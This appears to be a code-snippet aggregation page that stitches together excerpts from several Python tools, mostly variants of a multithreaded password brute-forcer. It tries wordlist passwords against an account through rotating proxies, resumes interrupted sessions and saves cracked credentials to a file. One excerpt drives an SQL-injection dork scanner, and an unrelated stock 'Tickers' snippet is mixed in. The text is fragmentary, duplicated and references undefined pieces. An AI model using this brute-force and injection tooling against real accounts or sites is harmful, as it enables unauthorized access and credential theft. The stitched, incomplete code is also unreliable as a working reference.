            for password in self.password_manager.passlist:

                if not self.is_alive:
                    break

                if not proxy:
                    proxy = self.proxy_manager.get_proxy()
                    self.bots_per_proxy = 0

                if self.bots_per_proxy >= max_bots_per_proxy:
                    proxy = None

                if not proxy:
                    continue

                if password not in self.active_passwords and password in self.password_manager.passlist:
                    browser = self.create_browser(password, proxy)
                    browsers.append(browser)
                    self.bots_per_proxy += 1

                    if not is_attack_started:
                        self.display.info('Starting attack ...')
                        is_attack_started = True

                    with self.lock:
                        self.browsers.append(browser)
                        self.active_passwords.append(password)

            for browser in browsers:
                thread = Thread(target=browser.attempt)
                thread.daemon = True
                try:
                    thread.start()
                except:
                    self.remove_browser(browser)

    def start_daemon_threads(self):
        attack = Thread(target=self.attack)
        browser_manager = Thread(target=self.browser_manager)
        proxy_manager = Thread(target=self.proxy_manager.start)
        password_manager = Thread(target=self.password_manager.start)

        attack.daemon = True
        proxy_manager.daemon = True
        browser_manager.daemon = True
        password_manager.daemon = True

        attack.start()
        proxy_manager.start()
        browser_manager.start()
        password_manager.start()

        self.display.info('Searching for proxies ...')

    def stop_daemon_threads(self):
        self.proxy_manager.stop()
        self.password_manager.stop()

    def start(self):
        self.display.info('Initiating daemon threads ...')
        self.start_daemon_threads()

        last_attempt = 0
        while self.is_alive and not self.is_found:
            if last_attempt == self.password_manager.attempts and self.password_manager.attempts:
                sleep(1.5)
                continue

            for browser in self.browsers:
                self.display.stats(browser.password,
                                   self.password_manager.attempts,
                                   len(self.browsers))
                last_attempt = self.password_manager.attempts
                self.last_password = browser.password

                if not self.is_alive or self.is_found:
                    break

            if self.password_manager.is_read and not self.password_manager.list_size and not len(
                    self.browsers):
                self.is_alive = False

    def stop(self):
        self.is_alive = False
        self.manage_session()
        self.stop_daemon_threads()
        self.password_manager.session.is_busy = False
Esempio n. 21
0
 def __init__(self, dork, write_over):
     self.dork = dork
     self.display = Display()
     self.sql = SQL(dork, write_over)
Esempio n. 22
0
class Engine(object):

    def __init__(self, username, threads, passlist_path, is_color):
        self.bruter = None
        self.resume = False
        self.is_alive = True
        self.threads = threads
        self.username = username
        self.passlist_path = passlist_path
        self.display = Display(is_color=is_color)

    def passlist_path_exists(self):
        if not exists(self.passlist_path):
            self.display.warning('Boyle bir dosya yok.')
            return False
        return True

    def create_bruter(self):
        self.bruter = Bruter(
            self.username,
            self.threads,
            self.passlist_path
        )

    def get_user_resp(self):
        return self.display.prompt('Islemi devam ettirmek iste misin? [y/n]: ')

    def write_to_file(self, password):
        with open(credentials, 'at') as f:
            data = 'Kullanici Adi: {}\nSifre: {}\n\n'.format(
                self.username.title(), password)
            f.write(data)

    def start(self):
        if not self.passlist_path_exists():
            self.is_alive = False

        if self.is_alive:
            self.create_bruter()

            while self.is_alive and not self.bruter.password_manager.session:
                pass

            if not self.is_alive:
                return

            if self.bruter.password_manager.session.exists:
                try:
                    resp = self.get_user_resp()
                except:
                    self.is_alive = False

                if resp and self.is_alive:
                    if resp.strip().lower() == 'y':
                        self.bruter.password_manager.resume = True

            try:
                self.bruter.start()
            except KeyboardInterrupt:
                self.bruter.stop()
                self.bruter.display.shutdown(self.bruter.last_password,
                                             self.bruter.password_manager.attempts, len(self.bruter.browsers))
            finally:
                self.stop()

    def stop(self):
        if self.is_alive:

            self.bruter.stop()
            self.is_alive = False

            if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size:
                self.bruter.display.stats_not_found(self.bruter.last_password,
                                                    self.bruter.password_manager.attempts, len(self.bruter.browsers))

            if self.bruter.is_found:
                self.write_to_file(self.bruter.password)
                self.bruter.display.stats_found(self.bruter.password,
                                                self.bruter.password_manager.attempts, len(self.bruter.browsers))
def main():
    display = Display()
    print('\n\n========= Tickers =========\n\n')
    display.initial_data_request()
    while True:
        display.give_menu_of_options()
Esempio n. 24
0
class Password:
    '''Password manager.
    '''
    def __init__(self, username, wordlist, max_passwords=64) -> None:

        # Consts
        self.session = None
        self.wordlist = wordlist
        self.username = username
        self.display = Display()
        self.max_passwords = max_passwords
        self.total_lines = self.count_lines(wordlist)

        # States
        self.EOF = False  # end of file
        self.is_alive = True

        # resume
        self.attempts = 0
        self.resume = False

        # Storages
        self.passwords = deque()

    def check_password_path(self) -> None:
        '''Checks to see if password path exists.
        '''

        if not os.path.exists(self.wordlist):
            self.display.danger('Error', ':',
                                'Failed to locate the password list provided')

            exit()

    def count_lines(self, wordlist) -> int:
        '''Count the number of lines in the wordlist.
        '''

        self.display.clear()
        self.check_password_path()

        lines = 0
        fingerprint = sha256(
            self.username.lower().strip().encode()).hexdigest().encode()

        self.display.info('Loading password list', '', '...')
        time.sleep(3)

        with open(wordlist, 'rb') as f:

            for data in f:
                lines += 1
                chunk = sha256(data).hexdigest().encode()
                fingerprint = sha256(fingerprint + chunk).hexdigest().encode()

        self.session = Session(fingerprint)
        return lines

    def read_file(self) -> None:
        '''Read each line and append into the passwords deque.
        '''

        attempts = 0  # for resuming

        with open(self.wordlist, 'rt', encoding='utf-8') as f:

            for line in f:

                if self.resume:
                    if attempts < self.attempts + self.size():
                        attempts += 1
                        continue
                    elif self.resume:
                        self.resume = False

                while self.size() >= self.max_passwords:

                    if self.is_alive:
                        time.sleep(0.5)
                        continue
                    else:
                        break

                if not self.is_alive:
                    break

                self.put_password(line.strip())

        # check if EOF is reached
        if self.is_alive:
            self.EOF = True
            self.stop()

    def put_password(self, pwd) -> None:
        '''Put a password into the passwords deque.
        '''

        if not pwd in self.passwords:
            self.passwords.appendleft(pwd)

    def size(self) -> int:
        '''Returns the size of the passwords deque.
        '''

        return len(self.passwords)

    def is_done(self) -> bool:
        '''Returns turn if EOF is reached and the passwords deque is empty.
        '''

        if self.EOF and self.size() == 0:
            return True
        return False

    def get_password(self) -> str:
        '''Get a password from the passwords deque.

        Returns an empty str if deque is empty.
        '''

        if self.size() == 0:
            return ''

        return self.passwords.popleft()

    def start(self) -> None:
        self.read_file()

    def stop(self) -> None:
        self.is_alive = False
Esempio n. 25
0
class Bruter(object):
    def __init__(self, username: str, threads: int, passlist_path: str):

        self.is_alive = True
        self.is_found = False

        self.password: str = None
        self.username: str = username
        self.last_password: str = None

        self.bots_per_proxy = 0
        self.total_threads: int = threads

        self.proxy_manager = ProxyManager()
        self.display = Display(username, passlist_path)
        self.password_manager = PasswordManager(username, passlist_path,
                                                threads, self.display)

        self.browsers: typing.List[Browser] = []
        self.active_passwords: typing.List[str] = []
        self.unstarted_browsers: typing.List[Browser] = []

        # Locks
        self.lock_browsers = threading.RLock()
        self.lock_unstarted_browsers = threading.RLock()

        self.lock_active_passwords = threading.RLock()
        self.lock_password_manager = threading.RLock()

    def manage_session(self):
        if self.password_manager.is_read:
            if not self.password_manager.list_size or self.is_found:
                self.password_manager.session.delete()
        else:
            if self.is_found:
                self.password_manager.session.delete()
            else:
                self.password_manager.session.write(
                    self.password_manager.attempts,
                    self.password_manager.passlist,
                )

    def browser_manager(self):
        while self.is_alive:

            browsers: typing.List[Browser] = []

            with self.lock_browsers:
                browsers = [br for br in self.browsers]

            for browser in browsers:

                if not self.is_alive:
                    break

                if (Display.account_exists == None
                        and Browser.account_exists != None):
                    Display.account_exists = Browser.account_exists

                if not browser.is_active:
                    if browser.is_attempted and not browser.is_locked:
                        if browser.is_found and not self.is_found:
                            self.password = browser.password
                            self.is_found = True

                        with self.lock_password_manager:
                            self.password_manager.list_remove(browser.password)

                    self.remove_browser(browser)

                else:
                    if browser.start_time:
                        if (time.time() - browser.start_time >=
                                max_time_to_wait):
                            browser.close()
                            with self.lock_active_passwords:
                                try:
                                    self.active_passwords.remove(
                                        browser.password)
                                except ValueError:
                                    pass

    def prune_browsers(self, browser) -> None:
        """Remove all the browsers with the same password as the given browser"""

        with self.lock_browsers:
            for br in list(self.browsers):
                if br == browser:
                    continue

                if br.password != browser.password:
                    continue

                try:
                    self.browsers.remove(br)
                except ValueError:
                    pass

                br.close()
                br.proxy.decr_usage()
                self.proxy_manager.dispose(br.proxy)

        with self.lock_unstarted_browsers:
            for br in list(self.unstarted_browsers):

                if br.password == browser.password:
                    try:
                        self.unstarted_browsers.remove(br)
                    except ValueError:
                        pass

    def remove_browser(self, browser: Browser) -> None:
        self.proxy_manager.dispose(browser.proxy)

        with self.lock_browsers:
            try:
                self.browsers.remove(browser)
            except ValueError:
                pass

        with self.lock_active_passwords:
            try:
                self.active_passwords.remove(browser.password)
            except ValueError:
                pass

        if browser.is_attempted:
            self.prune_browsers(browser)

    def attack(self):
        attack_started = False
        proxy_per_pwd = 3

        while self.is_alive:
            for pwd in self.password_manager.passlist:
                if not self.is_alive:
                    break

                with self.lock_unstarted_browsers:
                    if len(self.unstarted_browsers) >= self.total_threads:
                        break

                with self.lock_active_passwords:
                    if pwd in self.active_passwords:
                        continue

                is_added = False

                for _ in range(proxy_per_pwd):

                    with self.lock_unstarted_browsers:
                        if len(self.unstarted_browsers) >= self.total_threads:
                            break

                    proxy = self.proxy_manager.get_proxy()

                    if not proxy:
                        continue

                    with self.lock_unstarted_browsers:
                        self.unstarted_browsers.append(
                            Browser(self.username, pwd, proxy))

                        is_added = True

                if not is_added:
                    break

                with self.lock_active_passwords:
                    self.active_passwords.append(pwd)

                if not attack_started:
                    self.display.info("Starting attack...")
                    attack_started = True

            with self.lock_unstarted_browsers:
                for br in list(self.unstarted_browsers):
                    with self.lock_browsers:
                        if len(self.browsers) >= self.total_threads:
                            break
                        else:
                            self.browsers.append(br)

                    self.unstarted_browsers.remove(br)
                    threading.Thread(target=br.attempt, daemon=True).start()

    def start_daemon_threads(self):
        attack = threading.Thread(target=self.attack)
        browser_manager = threading.Thread(target=self.browser_manager)
        password_manager = threading.Thread(target=self.password_manager.start)

        attack.daemon = True
        browser_manager.daemon = True
        password_manager.daemon = True

        attack.start()
        browser_manager.start()
        password_manager.start()

        self.display.info("Searching for proxies...")

    def stop_daemon_threads(self):
        self.password_manager.stop()

    def start(self):
        self.display.info("Initiating daemon threads...")
        self.start_daemon_threads()

        last_attempt = 0
        while self.is_alive and not self.is_found:

            if (last_attempt == self.password_manager.attempts
                    and self.password_manager.attempts):
                time.sleep(0.65)
                continue

            browsers = []

            with self.lock_browsers:
                browsers = [br for br in self.browsers]

            for browser in browsers:

                self.display.stats(
                    browser.password,
                    self.password_manager.attempts,
                    len(self.browsers),
                )
                last_attempt = self.password_manager.attempts
                self.last_password = browser.password

                if not self.is_alive or self.is_found:
                    break

            if (self.password_manager.is_read
                    and not self.password_manager.list_size
                    and not len(self.browsers)):
                self.is_alive = False

    def stop(self):
        self.is_alive = False
        self.manage_session()
        self.stop_daemon_threads()
        self.password_manager.session.is_busy = False
Esempio n. 26
0
from lib.sql import SQL
from lib.display import Display


dork = 'index.php?id='
display = Display()
sql = SQL(dork, '-w')


def start():
    display.primary('"Dork: ' + dork)

    try:
        sql.start()
    except KeyboardInterrupt:
        pass
    finally:
        stop()


def stop():
    if sql:
        sql.stop()
    else:
        display.shutdown()


class Engine(object):

    def __init__(self, username, threads, passlist_path, is_color):  
        self.bruter = None 
        self.resume = False 
        self.is_alive = True 
        self.threads = threads
        self.username = username
        self.passlist_path = passlist_path
        self.display = Display(is_color=is_color)
        self.session = Session(username, passlist_path)
    
    def passlist_path_exists(self):
        if not exists(self.passlist_path):
            self.display.warning('Invalid path to password list')
            return False
        return True 
    
    def session_exists(self):
        return self.session.exists
    
    def create_bruter(self):
        self.bruter = Bruter(self.username, self.threads, self.passlist_path, self.resume)
    
    def get_user_resp(self):
        return self.display.prompt('Would you like to resume the attack? [y/n]: ')
    
    def write_to_file(self, password):
        with open(credentials, 'at') as f:
            data = 'Username: {}\nPassword: {}\n\n'.format(self.username.title(), password)
            f.write(data)

    def start(self):
        if not self.passlist_path_exists():
            self.is_alive = False 
        
        if self.session_exists() and self.is_alive:
            resp = None 

            try:
                resp = self.get_user_resp()
            except:
                self.is_alive = False 
                        
            if resp and self.is_alive:
                if resp.strip().lower() == 'y':
                    self.resume = True 
        
        if self.is_alive:
            self.create_bruter()

            try:
                self.bruter.start()
            except KeyboardInterrupt:
                self.bruter.stop()
                self.bruter.display.shutdown(self.bruter.last_password, 
                                            self.bruter.password_manager.attempts, len(self.bruter.browsers))
            finally:
                self.stop()
    
    def stop(self):
        if self.is_alive:

            self.bruter.stop()
            self.is_alive = False 

            if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size:
                self.bruter.display.stats_not_found(self.bruter.last_password, 
                                                    self.bruter.password_manager.attempts, len(self.bruter.browsers))
            
            if self.bruter.is_found:
                self.write_to_file(self.bruter.password)
                self.bruter.display.stats_found(self.bruter.password, 
                                                self.bruter.password_manager.attempts, len(self.bruter.browsers))
Esempio n. 28
0
class Engine(object):

    def __init__(self, username, threads, passlist_path, is_color):  
        self.bruter = None 
        self.resume = False 
        self.is_alive = True 
        self.threads = threads
        self.username = username
        self.passlist_path = passlist_path
        self.display = Display(is_color=is_color)
        self.session = Session(username, passlist_path)
    
    def passlist_path_exists(self):
        if not exists(self.passlist_path):
            self.display.warning('Invalid path to password list')
            return False
        return True 
    
    def session_exists(self):
        return self.session.exists
    
    def create_bruter(self):
        self.bruter = Bruter(self.username, self.threads, self.passlist_path, self.resume)
    
    def get_user_resp(self):
        return self.display.prompt('Would you like to resume the attack? [y/n]: ')
    
    def write_to_file(self, password):
        with open(credentials, 'at') as f:
            data = 'Username: {}\nPassword: {}\n\n'.format(self.username.title(), password)
            f.write(data)

    def start(self):
        if not self.passlist_path_exists():
            self.is_alive = False 
        
        if self.session_exists() and self.is_alive:
            resp = None 

            try:
                resp = self.get_user_resp()
            except:
                self.is_alive = False 
                        
            if resp and self.is_alive:
                if resp.strip().lower() == 'y':
                    self.resume = True 
        
        if self.is_alive:
            self.create_bruter()

            try:
                self.bruter.start()
            except KeyboardInterrupt:
                self.bruter.stop()
                self.bruter.display.shutdown(self.bruter.last_password, 
                                            self.bruter.password_manager.attempts, len(self.bruter.browsers))
            finally:
                self.stop()
    
    def stop(self):
        if self.is_alive:

            self.bruter.stop()
            self.is_alive = False 

            if self.bruter.password_manager.is_read and not self.bruter.is_found and not self.bruter.password_manager.list_size:
                self.bruter.display.stats_not_found(self.bruter.last_password, 
                                                    self.bruter.password_manager.attempts, len(self.bruter.browsers))
            
            if self.bruter.is_found:
                self.write_to_file(self.bruter.password)
                self.bruter.display.stats_found(self.bruter.password, 
                                                self.bruter.password_manager.attempts, len(self.bruter.browsers))